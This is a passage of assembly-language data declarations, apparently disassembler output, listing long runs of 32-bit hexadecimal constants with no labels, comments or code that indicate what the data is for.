		dd 6F31154Bh, 242AD8FAh, 41ECBB7Eh, 1C6C68C3h, 0A49EBD10h
		dd 0F2CA3112h, 0D6C69A12h, 2C60A5A7h, 0C49DE849h, 2A54790Ch
		dd 9DA697BBh, 923FAD45h, 0F6AB8DD9h, 0FE01135Fh, 681DA1F5h
		dd 94A05489h, 686181DCh, 0DD7B58B5h, 0BCB73F7Fh, 40508C6Fh
		dd 0D98A8489h, 713288C0h, 972C8224h, 55DF425Ah,	3D90ADF0h
		dd 0AD73E913h, 628B9AEDh, 5F2D97FCh, 0E925019Ch, 0C19941D4h
		dd 906B08F5h, 3F53F2A2h, 41BFE176h, 528AE86h, 0EA2FC985h
		dd 38B82F8Ch, 0E9C4FFE0h, 3100F05Fh, 0FA32055Bh, 2AF97B36h
		dd 48D209AFh, 0DC27B4B7h, 20D93AE9h, 0B980A6B3h, 7A64E0D0h
		dd 2FA22518h, 0E1533E5Eh, 377B7DEDh, 0A2999231h, 0D227A971h
		dd 0CA56B72Bh, 0B925F259h, 0CBDC816Ah, 910705B4h, 5DE70AF7h
		dd 0BC5DE44h, 0BC2AAEF1h, 5587E200h, 0BBE288D4h, 135A0CC8h
		dd 0D0BC2C5Bh, 1CDC2AC6h, 8DB5584Bh, 59DB6B30h,	5A7FDF73h
		dd 9572F962h, 0F1F0481Bh, 7EE67E9h, 0A56E63ADh,	11BB7902h
		dd 7D772A64h, 74C5C70Fh, 0E5F0D975h, 7E8A25ECh,	0E106AFF2h
		dd 0F6694333h, 5F6C669Dh, 82D9AC54h, 6C604D68h,	2D190A3Dh
		dd 8BB63BBCh, 0CF421EE9h, 0F6AE66D7h, 0ABCA4E06h, 0C8255A32h
		dd 60D6092Ah, 2957B45Ah, 0A2BDEA7Fh, 0C05EF7B1h, 2548842Eh
		dd 987564C0h, 0B7BFE941h, 0D9D774E2h, 0B087C287h, 0BF8DB203h
		dd 36F796EEh, 0CB6AE84Eh, 0BAD25E2Dh, 0E9DCF4DAh, 0F11BD650h
		dd 37051F19h, 1E2CFB7Ah, 0AAF0881Ch, 89B037C5h,	0A002802Bh
		dd 89B5DC5Fh, 0C2A6D962h, 7D098721h, 384F2E87h,	6413AD16h
		dd 9E2F54AEh, 914CF00Fh, 0BB10FF32h, 11B74207h,	1158D2ADh
		dd 2E509740h, 186AF36h,	422B48CFh, 54C7F033h, 8988E716h
		dd 56118782h, 14B8016Ah, 0E83BCE79h, 0C1B4E282h, 654E68C1h
		dd 279DB36h, 67F634F3h,	40D74858h, 3EB32D9Eh, 0F15F6355h
		dd 0AA6E8508h, 0C305598Ah, 0BC2982F3h, 0B632F360h, 0D8F6258Ch
		dd 0D59556E2h, 0EBE1A224h, 958AB088h, 737B358Bh, 46680F31h
		dd 55514278h, 0FFA7123Ah, 0E24ABE9Eh, 1AF34811h, 0FFFDEA40h
		dd 95DC364Ah, 0C685BE09h, 9F8B7B6Dh, 0D95AC2F6h, 0EEB540CCh
		dd 5970E828h, 0B252C81Eh, 7AF2C0Eh, 5A4504D0h, 4C54C8FBh
		dd 8BA9265Bh, 0D4209BD4h, 0D4A8584Eh, 123A1F4Eh, 0AAD053CEh
		dd 41AD1900h, 0B812183h, 0D8393EEEh, 3FF6C480h,	427C1F35h
		dd 0F2CC602h, 634E7BE0h, 3888FD9Dh, 90B4158h, 1ADE30A8h
		dd 0A4525FD2h, 93A0E3EEh, 0FA4E7A8Fh, 6DD6D244h, 323BB800h
		dd 89007DF7h, 0C6BF58C3h, 168208CDh, 0AF0C42E9h, 632D631h
		dd 0D5305800h, 2C5A6609h, 0EBEE840Dh, 2DE80113h, 0FE037960h
		dd 0E2A5EF71h, 71D1FFE6h, 6BB04849h, 21F7255Ah,	2211BBB0h
		dd 107B1E4Ch, 5C3FA067h, 32664BCh, 27BA851h, 2D8577B3h
		dd 58DF9758h, 4BE93CC8h, 0EB8DF4DAh, 776BD203h,	0F2F30169h
		dd 272ED663h, 4D957879h, 0E35F2889h, 0B99D20h, 2F685752h
		dd 8B0E8F07h, 5EE23C4Eh, 509F8110h, 9D5F4881h, 4083E873h
		dd 0BC7CE50Ch, 0C5090EA0h, 4E9288EFh, 260B3A68h, 70571A42h
		dd 6EBC9865h, 0B6C97DC5h, 685906A1h, 0CD7DC27Bh, 18E90994h
		dd 4168AB40h, 9F430D5Dh, 0D232508Bh, 0EE9C0B2Ah, 5A761976h
		dd 0C834F10Eh, 2E38033Fh, 0EDE07BCDh, 5064B45h,	0D6FFE923h
		dd 0D7E307DDh, 0B50BCC39h, 0FA97953Fh, 0EF1F7681h, 68096266h
		dd 0B81B4D23h, 2A74F5C1h, 49E9453Ch, 0AD44A783h, 0A8BF4BFAh
		dd 46C3A735h, 0E5C7031Ch, 72823A31h, 97A40C3Eh,	0E36407B0h
		dd 0E90931F9h, 4F9AF619h, 3849E45Fh, 0B5702A5Eh, 4650B574h
		dd 4040826Ch, 3180D9D1h, 5DC7FAD6h, 0F812F9EEh,	8E4EFE05h
		dd 6C8FC15Fh, 2D61360Fh, 8132C82Bh, 450ACB04h, 0C0EE4486h
		dd 2901287Dh, 0F3E5B784h, 296B0820h, 42665C22h,	47DF2583h
		dd 0B6572D44h, 9FE9258Fh, 0BE597D85h, 0BD93467h, 1C13F28Ch
		dd 6DFEBF80h, 8F8A19F5h, 0D332FD2Bh, 402F2BFBh,	58819795h
		dd 5249E06Ah, 7655CAAAh, 0CF1D824Ah, 0B261B439h, 73376B20h
		dd 0DF982B92h, 0BAF936A4h, 0E5B2FF87h, 0E530D5D3h, 567D5B54h
		dd 4AD4DA5Dh, 6809C9E6h, 1EF7155Fh, 0BA8EC093h,	59F91FEFh
		dd 3F0BC390h, 1EC971h, 62C4250h, 3EE9263Ch, 0AA22AD3Fh
		dd 7723A9DAh, 6E38023Ch, 31758F19h, 589968D5h, 325EB557h
		dd 55AEC256h, 255EA3E9h, 0B2020417h, 0FF284434h, 0E961C2D1h
		dd 2C81A394h, 6F2C27BEh, 6D00600Eh, 5B2F419h, 73A00BB2h
		dd 0D3ABB793h, 7A26B07Ah, 509776CEh, 1DA7EF00h,	0B08944FAh
		dd 0C54F4A78h, 1FB4FB1Eh, 60CCB47h, 0C32F0250h,	0B5815027h
		dd 2C502DFCh, 5CA8B02Eh, 194D120Ah, 0E4E7A24Eh,	632B0AEh
		dd 5AB8C75Dh, 9A932CFAh, 29124177h, 0EC2C0E9h, 544AFDBBh
		dd 0BD809AA9h, 60CA58EEh, 6CC1E0DEh, 8CE9118Fh,	0B2D4A24h
		dd 152C3008h, 7041B62h,	2E63B55Bh, 40A844FBh, 0DE26EB6Ah
		dd 7A6D095Ch, 34522F6Fh, 0F8660B0Bh, 80CAD233h,	82FA07E7h
		dd 0CF1006D6h, 5B23F84Fh
		dd 350440EEh, 195F7ED4h, 9D044077h, 29FD83E2h, 95335BA0h
		dd 0D6773962h, 69F650CCh, 0F177439Ah, 0F7071E4Fh, 5FE54A66h
		dd 0BE5325ABh, 0ADB38861h, 905E043h, 66E9FF06h,	2BF60C0h
		dd 0C9272F05h, 0D0AAFE29h, 0BBA52B7h, 4867343Ch, 2FC100D8h
		dd 11E9728Fh, 0EBB6B97Eh, 7CB501D2h, 0ADA0999Ch, 3C9B39D2h
		dd 38BEDF97h, 7416DD4Dh, 71C06DE2h, 2520EE19h, 6AD4F109h
		dd 0CC02D7CBh, 0E7A0CDDBh, 4FAE1067h, 551BE98h,	883C6507h
		dd 3ADF72Ah, 2E7D020Dh,	57809BF7h, 4AA641F4h, 55F44890h
		dd 0C017C62Dh, 821BB325h, 49B60088h, 0A08545D6h, 0C0C0B36Ch
		dd 0F05ABEDh, 0CD016259h, 64A1AAA9h, 0E1D5CF80h, 15073A16h
		dd 9453D4BBh, 8FD80018h, 812A4540h, 1A2F52E6h, 3277633h
		dd 68CA6511h, 4A5D0C04h, 0ADBC7063h, 32BF5700h,	31A4733Ch
		dd 0CDE9FE3Ah, 82A04E4Ah, 36A3168h, 0F275B1h, 13AE1BBh
		dd 2CBF51D7h, 0FD7CCC1Ch, 0AD102EC3h, 35250E80h, 7318187Eh
		dd 2BC0828Bh, 6C166FEBh, 2AA18F06h, 84276841h, 0DD6B0401h
		dd 2D6F649Ch, 97198900h, 0E6570517h, 5854E51h, 0BEDDF780h
		dd 539CFB80h, 800A5E44h, 9019E0CEh, 0F3006F7Dh,	613E6DCAh
		dd 9F04EBC1h, 57B049F0h, 0AB7CD6F9h, 0ADBA74ADh, 242D94F5h
		dd 89CD7A75h, 0EF05205Fh, 9CDB88F1h, 75FB814Eh,	0A0845721h
		dd 4601B35Ch, 5259EB30h, 0A87A5EB6h, 0D3C62E32h, 0F4718909h
		dd 53684177h, 542624h, 6092563h, 241F181h, 4913FD47h, 0ADF91E68h
		dd 9DE3BD87h, 1C80EA94h, 3B63486Fh, 2E770142h, 92A1B17Eh
		dd 7090AFF7h, 179AF281h, 8108B854h, 2B92E54h, 9DB9F2BDh
		dd 0E4AC3C0h, 0EB296F12h, 5E1E0F01h, 0A97A263Eh, 78C709AEh
		dd 1D2582BDh, 0E2D1027Eh, 0B202FD76h, 8311E577h, 0EB2BBAD0h
		dd 0FB0C0532h, 0E0E3B1C8h, 392FE96Bh, 0BC5071AFh, 8FF5C5AEh
		dd 41252F2Dh, 0C18B894Eh, 82BB00BEh, 665D163Dh,	20AAA889h
		dd 3EB90491h, 0AA621939h, 90EA4C17h, 0B5E04E13h, 3C25217Bh
		dd 9CEA986Ah, 0F16082C2h, 0D782C407h, 3D93A849h, 0E2BFD232h
		dd 6765128Fh, 826F95C9h, 0A5A8416Ch, 18C0F81h, 5FC80011h
		dd 802D1BBAh, 0B5514A5Ch, 40704EBh, 0E05A85h, 756FCA81h
		dd 0F9655B60h, 87C2023Fh, 0EB41D54Eh, 75B3C06Dh, 9181225h
		dd 7309BAD7h, 29D2A2BBh, 0C32F61C7h, 0E4B3F86Fh, 0C979A3ABh
		dd 21B7902h, 34B74D86h,	1661B742h, 5A5401CAh, 0EF4A343Fh
		dd 0AA1BA9C2h, 7205A886h, 44BB485Fh, 176C0B97h,	9266CAFEh
		dd 68F2A4AAh, 4B84C65Ah, 0C59FA3AEh, 0CCF9771Ah, 5445B77h
		dd 0AB665C1Fh, 0B714428Fh, 262F9585h, 6B68AD81h, 0E3F5244Fh
		dd 548E3BAh, 952D803Bh,	0BD595336h, 70152E2h, 6BFEAFE9h
		dd 51B339ECh, 5296A8F9h, 82855F0Fh, 948F20ADh, 14132220h
		dd 3BF6FB29h, 13C76E10h, 84BBCBB6h, 0C711318Ch,	15F83ECEh
		dd 12F557CAh, 0D7A9B811h, 6268FED1h, 31D94A7Bh,	0E17DBD8Fh
		dd 85DDE23Ah, 2C9129E9h, 9EC9DE2Ch, 5FC6F9E5h, 0C8D8CCACh
		dd 0F05AB443h, 18BDA3A4h, 0A0F10E57h, 4C1D0D33h, 1B1AA78h
		dd 75AA3E7Ch, 4C4BE00h,	4D91B14h, 58B067D3h, 4159E8AEh
		dd 6DB93108h, 23899FA7h, 0F51C5FC5h, 0E3C68826h, 0FE0EB310h
		dd 26C153C2h, 0F72EE380h, 4E52EBC4h, 0FE804512h, 2435F968h
		dd 97533B5h, 0BBD77F2Fh, 2A4D965h, 0FCF68100h, 0C354D31Eh
		dd 3A2596C8h, 92A1FC4Ah, 89C86FAh, 0A330E78Eh, 0DBEA451Fh
		dd 39EE2E6Eh, 0D092D5Dh, 61A9B97Fh, 0B5032638h,	59E83080h
		dd 3036EAA1h, 749D8244h, 0B85F5AC6h, 80650CB5h,	42FD5859h
		dd 7BFDA385h, 28E8B390h, 68AE02DDh, 5CFC1F8Ah, 0AB76662h
		dd 6E380809h, 31168A33h, 0B06C0106h, 6EC2C13Fh,	22BD48C1h
		dd 0A620BB01h, 43002FFDh, 1578C5Dh, 5DFFB0FBh, 0C00187C7h
		dd 0EB8008E3h, 0BAF3CCD3h, 5B0FDAE0h, 0F35AD120h, 706EC18h
		dd 99B70B53h, 0A470F780h, 5C970F70h, 930A43Eh, 830FDC95h
		dd 0D92B3FE9h, 84381820h, 7897146Fh, 53629FC4h,	50E4AA40h
		dd 0C236330h, 2CFB544Eh, 39AD2935h, 0AC960851h,	5F96C211h
		dd 41719CDDh, 53B90121h, 0E4B23E64h, 80685281h,	5F042429h
		dd 35AEEA4Eh, 0F39872F8h, 0A97F988Bh, 88C756FDh, 4B38774Ah
		dd 0BC44E8ACh, 0C328207Fh, 0B5FA689Dh, 40578210h, 818E76DDh
		dd 73AC2A52h, 0EE2865C5h, 0DA4A29CEh, 0C2290B33h, 49655D58h
		dd 91AFA027h, 5061FC72h, 57C747h, 5228DF2Dh, 3F62C4BAh
		dd 852DEE90h, 6FAC7DFCh, 80170306h, 0C2BBE2C2h,	2577BC9h
		dd 403E0473h, 0BDE1E957h, 8188E705h, 0D63A4Dh, 6E3FB8h
		dd 5401D39h, 622895A7h,	55D28B9Dh, 8B88B945h, 745C2D6Ah
		dd 0E982BA91h, 800E0ABFh, 0FE2493Ah, 3EF73081h,	0EA72E90Dh
		dd 44B3C99h, 0B2459EECh, 2398BB31h, 0F4800422h,	0BCE22856h
		dd 0A112A59Dh, 0B41282F8h, 0C775BEA2h, 4BB38812h, 2CE8CE2Fh
		dd 0BE3D1384h, 25A93415h, 0C44EF01h, 1F212861h,	6FB1F52Eh
		dd 0B6429D04h, 63020C18h, 0FF6BC5BCh, 6B2DC76Ch, 88207146h
		dd 5E2F9F77h, 9D3D970h,	5A0262D5h, 0CCC484F9h, 0AB04DB95h
		dd 8100CB60h, 0F96768F5h, 0EC37337Bh, 246543BDh, 0DA899191h
		dd 8812916Ah, 4BD273B8h, 1A253BCBh, 83CDAC25h, 6777A96Bh
		dd 2B4B73ECh, 1202FEE0h, 10953D31h, 807991C3h, 0B40A5053h
		dd 0F8E38868h, 0C12D9C10h, 71692260h, 687B989Fh, 0FD7E4F5Fh
		dd 0BE5680A6h, 5810398Bh, 8412D73Ah, 9217ECE8h,	0E2A146FBh
		dd 4BEC97C2h, 0AD71216h, 0A3C163F0h, 0CA1C0408h, 0EE632846h
		dd 3B5D3380h, 85294EFBh, 501C1D3Ah, 181E58D7h, 0E7A6C780h
		dd 205081F8h, 741F34BDh, 7D0B3DFCh, 56E83098h, 0CBEC9F54h
		dd 9C96C97h, 0D70AE9EFh, 0BFF49F46h, 41E05782h,	6603A8E1h
		dd 0F6CA8852h, 17D1A3D2h, 5DEEE98Ah, 0CB88A4AFh, 5EF99657h
		dd 0EC8484CAh, 3B2C546h, 82E6A4B5h, 5F0B83Eh, 852AFA5Eh
		dd 8B5A8B3Dh, 54E9128Fh, 0EFD6995Eh, 1B945ABh, 2E2FBCDFh
		dd 0A68B68A1h, 2CB05D4Ch, 0C1760756h, 0E9EA0690h, 49902D30h
		dd 2653DACAh, 0A520EFh,	1F10842Ah, 379A08E9h, 0E00BF70h
		dd 68510589h, 5CC32730h, 172D2A78h, 5B5B7846h, 0FB044FE6h
		dd 0BB0AF7E9h, 7D1881CAh, 48C57D79h, 31FD6517h,	0E7D190EEh
		dd 4F4A573Eh, 171B85E4h, 1698449Bh, 5C9FE036h, 55AE681Bh
		dd 7F6FA24Fh, 0D4058FC6h, 89CCA6B3h, 1E9E0CBBh,	0CA05F683h
		dd 13D0370h, 0AB4A0DFCh, 0E91284CEh, 0AC8CC0FCh, 0E0276866h
		dd 1782F95Fh, 0F7A641A3h, 205752DAh, 3492B618h,	9460439h
		dd 5AD42C0Fh, 0D1B2207Bh, 25609981h, 5BA76E01h,	0C4C3292h
		dd 3B8726h, 0D6F6F186h,	53F08850h, 92AF5595h, 93A1C10Bh
		dd 0A71683E9h, 10BD54A3h, 2DB1041Dh, 7587D186h,	64E0E3B4h
		dd 3DEFF180h, 14921206h, 0B4214594h, 0D4C2E20Fh, 29AA0412h
		dd 0B1BA34C3h, 5B08028Bh, 0D12F21F6h, 0EAD7CF14h, 0E4E83BD4h
		dd 59A95324h, 0FAC2BBDh, 0EB66292Fh, 0E32FE91Ah, 0ECDF1C5Bh
		dd 45B500E1h, 0E9496250h, 0C5BF7563h, 3957154Ch, 0D5168C0h
		dd 5D0A1269h, 8CB0A2E9h, 0F07AF799h, 82C78DE8h,	0E51C05Fh
		dd 80B2174Dh, 0A47EA031h, 0DE3C3944h, 2F76954Eh, 71E95209h
		dd 0F36FDCFAh, 1E1F44BBh, 12D9570Ah, 2F55A194h,	52E536ACh
		dd 0B0F3EA09h, 8456A94Fh, 0E90245AAh, 5CD2A34Dh, 78D2C605h
		dd 0E1EE4E6Dh
		dd 0F9080739h, 6D1879DFh, 80963651h, 0D168F1F7h, 0F34E9532h
		dd 98804520h, 0B019258Dh, 2854B492h, 2497D388h,	96962CB1h
		dd 4EE9B8CAh, 9EEBF416h, 16795894h, 3DEA12A9h, 0C9112DB4h
		dd 4C870FAh, 0E5107FBDh, 0DF13BA05h, 0F06FC0AAh, 0DD9DEA6Eh
		dd 4095A896h, 0E103913Ch, 0C23FE83Fh, 540DED68h, 6799D0DCh
		dd 0C1EAF582h, 68E568F7h, 18759550h, 0BF9D4813h, 0FEB4EEC6h
		dd 65386850h, 5EB4596Fh, 16798C9Fh, 0CE5A8C15h,	3E09635Fh
		dd 0E5967C47h, 2B08B1A3h, 272E2ABAh, 0E4E0DE5Ch, 530A985Ah
		dd 67F1BB01h, 0DBF71321h, 0AD7183Ah, 3FF358E9h,	80E9A1D9h
		dd 0E014493Fh, 0AA560B02h, 7982AC04h, 52CFA0A9h, 0F26AB151h
		dd 44DE5B66h, 0F8E67956h, 85929FC9h, 0BE5859B0h, 39923C68h
		dd 0E02CEA05h, 0D5CBD51h, 8BF8D1BAh, 8B5EF385h,	47E55D51h
		dd 2D4F2BAAh, 5027DB9h,	5A344D8Bh, 2905A804h, 58860C8h
		dd 0B525417Eh, 0F4C216h, 0DC685607h, 73B7274Bh,	0B0684455h
		dd 0B7D2FC0Dh, 8D6811A2h, 48CA5875h, 0C4A4671Ch, 0FAB2EAF5h
		dd 0B2098B40h, 8FBF383Dh, 81087200h, 0F535EACFh, 8EE96B12h
		dd 61B9F080h, 0E8F74E64h, 4B1448DBh, 80A56DE2h,	506F86D7h
		dd 2FCF0D4Ch, 0E4C85005h, 0BA5206Ah, 3622B90Dh,	0CF40BE52h
		dd 607714F5h, 11BC864Ah, 9EB07A2Bh, 0BEF7AE5Fh,	877C235h
		dd 8449203Eh, 9BB841D0h, 87D6F60h, 437D551Dh, 0F7C0B625h
		dd 27929314h, 0D567C62Dh, 44209836h, 254776D8h,	0B2D2C116h
		dd 7E17F81Ch, 0F31E8A64h, 0FE1E1C49h, 0E9A1201Ah, 53D69128h
		dd 0B4ACADC1h, 39E135C4h, 7DD06C52h, 97DD0109h,	13492856h
		dd 0F67F4BE9h, 839120Fh, 0C4796722h, 0BF660E15h, 0AA926ABAh
		dd 7EBDCB44h, 586FC21Eh, 2DC14021h, 32E93EDBh, 68FE0DDFh
		dd 7AB83F18h, 0FD5C5D17h, 4598D21Dh, 5A1740B0h,	0C9A5B99Eh
		dd 0AF6CA53Ch, 5013413Bh, 8321E8AAh, 5E7EBA68h,	7D13EB41h
		dd 9222E3BBh, 14F2B6A0h, 9012AE35h, 27DB1F79h, 0E958022Eh
		dd 0F1FDB5CDh, 0DCF60039h, 0D03125E4h, 50139391h, 79AC1B4Bh
		dd 0B7538615h, 0A48AF475h, 696A5675h, 319D4A0h,	5F480A40h
		dd 72A2277Dh, 82AD208Ah, 2584BF0Eh, 0ED812002h,	1A5769E2h
		dd 0C4FD292Dh, 8332080Ch, 0BB6E840h, 0DBEE80A4h, 3C8BE8Bh
		dd 719765E3h, 0EDCB8950h, 8E82075Ch, 4130AE5Eh,	0DAD8CBFh
		dd 6805FAF9h, 8FAF6CE8h, 1BAA4876h, 0EF5D97C8h,	4D897475h
		dd 8BC7C9F3h, 6046739Fh, 58C53013h, 0BBC553FAh,	2967C99Dh
		dd 0BD526316h, 55568729h, 0EAE20BC7h, 72F26014h, 8948B68Ch
		dd 0AC97B59h, 0F873AF0h, 50B1EF60h, 0AE454A6Ah,	4B08DC10h
		dd 5C8134B9h, 3C1D7568h, 963C468h, 5F80100h, 6D385B43h
		dd 993CCA5Fh, 959B26E9h, 5AEE88FDh, 0AF4E680Bh,	0FC47E557h
		dd 0D22190F7h, 0DF33D51Ah, 2C40EA80h, 7EB55172h, 0B508206Dh
		dd 3886376h, 93522D73h,	5EBF614Dh, 0B0B60FE2h, 3FED4C9Fh
		dd 0AA5A6FE9h, 142D2E5Fh, 8A109166h, 40B6CFE1h,	63576619h
		dd 6AF10134h, 0AE2C0817h, 6082FE49h, 2DA0386Fh,	29764644h
		dd 5D080382h, 0FDA9C75Eh, 21B54434h, 5A3BE921h,	79185D37h
		dd 53E39BA4h, 78232100h, 0D7BE564Bh, 3D493E0Dh,	359F680h
		dd 40E97E97h, 0E3D06B5Fh, 307C33EDh, 0BC0C366Ah, 964F2A71h
		dd 5BD6E9E0h, 8CE44461h, 0EBBE0163h, 812EBC37h,	0F84E05C3h
		dd 5C9F64C7h, 6853E036h, 0E697265Ah, 1D026797h,	0AAF3945Eh
		dd 0EAFCD634h, 0C2576827h, 0F75E5D65h, 0A15ADAD2h, 5F02DAECh
		dd 0F1537Fh, 0D406851h,	0B79B2B54h, 955EA020h, 32F89F25h
		dd 681518B6h, 4C457444h, 80E6663h, 5AD63312h, 0AAFBE9C2h
		dd 0F2C18350h, 5B722792h, 0DCAA214Eh, 0E917C2E0h, 1941FADFh
		dd 5EE8733Fh, 0C281247Ah, 0E0650343h, 9664927h,	0CF324B65h
		dd 0C32EFA5Eh, 0EAB7525Ah, 5196D680h, 0AB0A5F43h, 6E706001h
		dd 0AB2E5745h, 41C1A00h, 1D2D4B3Fh, 67DEB3B9h, 0D4B1B0C0h
		dd 5E496880h, 0E1D8D266h, 0C927E00Ah, 0A96A5E70h, 0E6EFB403h
		dd 58D2180Dh, 9D123459h, 84223E46h, 26A7BFE6h, 0EC2CB252h
		dd 3BB5AC0Eh, 36F40FBEh, 6CE527B0h, 0E8F2AB71h,	4F48B64Ah
		dd 0F0D10AB5h, 3B296Bh,	0FA03EA8Fh, 0E1355C0Fh,	58444B1Ah
		dd 29C985Bh, 21344359h,	367ADF09h, 3B8C3F20h, 6BFEEF31h
		dd 60560E66h, 28F89308h, 0D96A20A1h, 0F52FEA97h, 3658A6C9h
		dd 60E91ECAh, 319D367h,	42A379EEh, 0BC414673h, 0BB79C46Fh
		dd 0DE0707E8h, 3F7EC280h, 0B340896Fh, 7EBC0C6h,	2056CCF9h
		dd 245BDA32h, 7E61C1DBh, 0AF0FE05h, 90C6C942h, 70890D3h
		dd 2BC68158h, 6F1C5E50h, 80456D4h, 0C9D1E5E9h, 0C03B70B7h
		dd 4BB6526Ch, 0BB40CAB0h, 0FA20255Ah, 0E9098DD3h, 0AD40D48Fh
		dd 2301B064h, 14A4041h,	91F655E8h, 0DC3B5D08h, 76E3B055h
		dd 18C30755h, 1DD337C5h, 29521D0Eh, 7901CBCBh, 2F4E6DDFh
		dd 7099F71h, 0A501480Ah, 2D46BDF5h, 7ED57020h, 6B4B2D5Ah
		dd 84E99F7Ch, 0C3F2D14Eh, 0C66249DFh, 743DCA5Bh, 8529125Ch
		dd 0F7EAF865h, 48733EB5h, 92A0D164h, 1C57130Ch,	87CA3980h
		dd 6D5EA98h, 0C4BF3003h, 0FAE917AAh, 0B837FF91h, 557DA192h
		dd 0B64F49E6h, 2D480516h, 564F0F8Dh, 1EE1A6ABh,	0B0A83B5Eh
		dd 0AB5D62C5h, 0ACD2F8E7h, 0D0B4CFFDh, 0BAF12E60h, 0E390B93Bh
		dd 92A3D552h, 391FB302h, 0C662D7E3h, 3D89D9C8h,	7046EE26h
		dd 994E1302h, 9297C02Dh, 0B0DE4A4Dh, 0AECE156h,	802F7C3Eh
		dd 792B04F1h, 0E978E915h, 2C3C4072h, 0EB569C16h, 7FD3C8D0h
		dd 2E2B7CF0h, 4045C186h, 0A60910EBh, 42291825h,	0E90802ADh
		dd 0B7E150A4h, 0CA080C67h, 555278Eh, 0FBCC387h,	6B949D5Ah
		dd 5C79CC00h, 0ABD0A08h, 163C09DEh, 2CF5108Bh, 7862F057h
		dd 51ECD692h, 0D01C8CEAh, 9D5F1007h, 4C27E3CCh,	13741419h
		dd 0EFEC66E9h, 489CA38Ch, 0BAC0349Bh, 9F704957h, 0AD85D797h
		dd 18FD2D0h, 2B0993C7h,	8049D97Ah, 8774C1Bh, 0DB151E9h
		dd 0E631C500h, 4F019CC3h, 16AAA6EFh, 737102C7h,	203CEFE7h
		dd 4C29438Fh, 0A4FD7AA9h, 6BC454C1h, 75804284h,	0BEC4E9A4h
		dd 7CF63FD9h, 0C8883969h, 5958C20Eh, 0F661B4E1h, 24F4FCDCh
		dd 0C01ED4EAh, 0EC0105E4h, 58E220D1h, 66CE98FBh, 0D5881C51h
		dd 0E3F6A8F6h, 0F8B61204h, 20044AD0h, 0C0BF9159h, 349D5DFAh
		dd 95FB994Bh, 2A04810Fh, 0CF8F8FE7h, 0E420C55Eh, 1484B8F9h
		dd 18290BEDh, 9FFC0324h, 44B7679Ch, 4FA2BD84h, 68016686h
		dd 0B32F2204h, 8AAB975Ch, 38EA4EADh, 8B5FF6C1h,	0FD1A714Bh
		dd 0DB5F1E89h, 3352175Fh, 0D5FA5AE0h, 95CB6C75h, 1BD3BD66h
		dd 14712EEh, 0EF0EDBE5h, 17857D6Ch, 0AFF3E7FBh,	0DE0B5827h
		dd 63B96930h, 357B7600h, 3A52C981h, 0EF1A4850h,	2F28F802h
		dd 43754927h, 5414046Ah, 0BFC2A2B4h, 5C968182h,	0E7D727BFh
		dd 0E2E8EAEFh, 4C640EDAh, 0F7246B7Ch, 0E125BA79h, 174C5916h
		dd 0CBF4543Ch, 8B324913h, 0DE7E2381h, 0EC3A3022h, 63B44002h
		dd 2B83FDE9h, 0F4D56FB3h, 79E6D42h, 5FCB122Dh, 0AEDCB232h
		dd 5CB574AFh, 7DE92FC5h, 0EAB05591h, 97C57820h,	0D3038774h
		dd 0D558595Ah, 0FB61DBA5h, 0B91E003Ah, 677D48FEh, 8BE38CF4h
		dd 6D16C5EBh, 0E53608CDh, 4A1B1930h, 9C0651B7h,	0A9078EFAh
		dd 25DAF088h, 875F2CB1h, 0AB4E04D1h, 2A015D59h,	7A6DD568h
		dd 0B1902737h, 5E039C1Dh
		dd 24ADAD59h, 0ECA8B43Ah, 3F275595h, 6CF5F247h,	7C50C35Ch
		dd 1EF4B5B3h, 0B5645FCBh, 129FC659h, 5111685Eh,	0FDBA0040h
		dd 930F71Ah, 75E927D3h,	0E5807A80h, 0CD75FE2Bh,	0C9890E4h
		dd 5C016A40h, 0A62023D7h, 5531E8BDh, 0EE99C053h, 1BED2DDDh
		dd 90EA584Bh, 7A30686Ah, 0E810AFDEh, 0F6625B2Fh, 0C9F07E5Dh
		dd 0CF9A097Eh, 4D89DF8Dh, 2E8496D5h, 58605412h,	17C1723Fh
		dd 280610CEh, 4B446631h, 88C736E8h, 0D35B673Ch,	1A7552F7h
		dd 0ED05F250h, 73C78088h, 31EF704Fh, 0BA30FA88h, 0F84602B6h
		dd 0EEF802B9h, 58C631A9h, 1742DE5Fh, 668540C7h,	282AB652h
		dd 5E03F15Fh, 0A2D9F6C1h, 41F261C9h, 9D8783C8h,	0BB5355A2h
		dd 2DD0A05Fh, 75F0663Ah, 2D9F9005h, 63780F62h, 0BE600782h
		dd 1228690Bh, 0F709826Ch, 0F4088F19h, 849D151Dh, 8270D12Eh
		dd 0CA7CA43Ch, 0ACA03A78h, 2D271136h, 8AFA86Bh,	0AF18E905h
		dd 8BFED252h, 642C54F3h, 9608DD59h, 62F5B70Bh, 0B77FD015h
		dd 66C22B45h, 0EB770BC2h, 5E0B2809h, 72FD00B1h,	4C350B78h
		dd 91900A43h, 56F2120h,	3408E0C0h, 0B94F8309h, 92A0B54Bh
		dd 10BA64E5h, 88A3BA21h, 16BCD260h, 0FCB00811h,	44D21445h
		dd 4F6D1DFCh, 0D5C2E77Bh, 97D0709h, 0CDCDE810h,	205181C7h
		dd 6880A621h, 271D54FBh, 0E2F558B6h, 0E502F439h, 0EB285A58h
		dd 0D5AFE371h, 9A23C89Ah, 0FAC5F68h, 0A7EA9FE9h, 704EB7F6h
		dd 0E0134ECCh, 487C1436h, 1E5083C1h, 0C0783D1Dh, 255983C8h
		dd 6B3CEA5Fh, 9DD64FC5h, 56E542A6h, 0E22D5900h,	27644C52h
		dd 8985D828h, 0D926E808h, 8ED5E91Bh, 8638C085h,	0C22E80EAh
		dd 0B40B6F6Bh, 0EB74D028h, 9184E828h, 87CFEF77h, 92475104h
		dd 0AB13BA27h, 134D590Dh, 0BA30C47Bh, 1EAA8784h, 0BE58679Bh
		dd 0F8B4DE95h, 5582E090h, 47DD6A8Bh, 0BED8AFB1h, 84131A9Dh
		dd 0BE505126h, 0EB3B0C81h, 5EA938F4h, 406305B0h, 0F0050416h
		dd 8C68595Bh, 0B5C0DBF8h, 0C2F58081h, 0A5E9523Fh, 9147399h
		dd 0C57D9F28h, 0DD29A25h, 3DE3F1DDh, 0FF2594BCh, 0C17FCE57h
		dd 8A52DAD4h, 53B86B3Dh, 4C950841h, 65A1BD6Fh, 4F88837Dh
		dd 5E60B951h, 2D25820Fh, 52F4A2DAh, 0D038F559h,	17FE4AD3h
		dd 1102AE70h, 707AE908h, 9DD0B7AAh, 5BCB50A0h, 8172D71Dh
		dd 0B87FF941h, 0E26B521Bh, 0D2246067h, 5E677254h, 8F4DFB43h
		dd 7641250h, 3D42193Fh,	40C7DD7Eh, 7FACE908h, 0C9504BBEh
